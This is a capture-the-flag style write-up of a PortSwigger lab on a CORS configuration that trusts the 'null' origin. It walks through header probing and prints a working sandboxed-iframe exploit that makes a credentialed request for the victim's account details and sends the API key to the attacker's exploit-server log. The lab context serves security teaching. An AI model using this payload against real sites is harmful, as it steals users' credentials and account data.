The lab

here is how portswigger describes it

This website has an insecure CORS configuration in that it trusts the "null" origin.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

this follows the basic origin reflection lab. there the server reflected any origin at all, here it is pickier it only trusts one special value, the origin null so the whole lab is about making our request appear to come from that null origin.

The idea#

trusting null sounds safe, because no normal website has an origin of null, so at a glance it looks like a harmless allowlist of one. the catch is that the browser itself puts null in the origin header for certain requests, and the easy one to trigger is a request made from a sandboxed iframe. a sandboxed frame is stripped of its normal origin and treated as coming from nowhere, so anything it sends carries Origin: null. so if we run our cross origin request from inside a sandbox, the server sees the null origin it trusts and lets us read the response. everything else is the same credentialed request as the last lab

Step 1 - Find the cors endpoint#

after logging in with the provided credentials, the account page shows an api key and its data comes from a GET /accountDetails request whose response carries the Access-Control-Allow-Credentials: true header, the same tell as before that this endpoint might leak across origins.

Step 2 - Find what origin it trusts#

first i tried the trick from the last lab, resending with an arbitrary origin.

Origin: https://logicbreaker.sh

this time it is not reflected so the server is not trusting everyone. but sending the special value instead works

Origin: null

the response comes back with Access-Control-Allow-Origin: null, so the server trusts exactly the null origin. now we just need our exploit's request to carry that origin.

Step 3 - Deliver the exploit from a sandboxed iframe#

the way to get a null origin is to run our script inside a sandboxed iframe. here is the page for the exploit server.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open('get','https://your-lab-id.web-security-academy.net/accountDetails',true)
req.withCredentials = true
req.send()
function reqListener() {
    location='https://your-exploit-server-id.exploit-server.net/log?key='+encodeURIComponent(this.responseText)
}
</script>"></iframe>

in simple terms, the sandbox attribute makes the iframe a null origin frame, so any request from inside it is sent with Origin: null, the value the server trusts. srcdoc puts our script directly inside that frame so it runs there, allow-scripts lets it run and allow-top-navigation lets the final redirect happen. the script itself is the same as the last lab, it does a get to accountDetails with withCredentials = true so the victim's cookies ride along and it runs as them, and because the request now comes from the trusted null origin the browser lets the frame read the reply. reqListener then sends that reply, api key and all, to our exploit server's /log, with encodeURIComponent wrapping it so it travels cleanly in the url. store it and deliver it to the victim.

Step 4 - Read the key from the log and submit it#

in the exploit server's access log there is a /log?key= request holding the victim's account details, and the admin's api key is in it.

pull the key out and submit it.

with this, the lab is solved!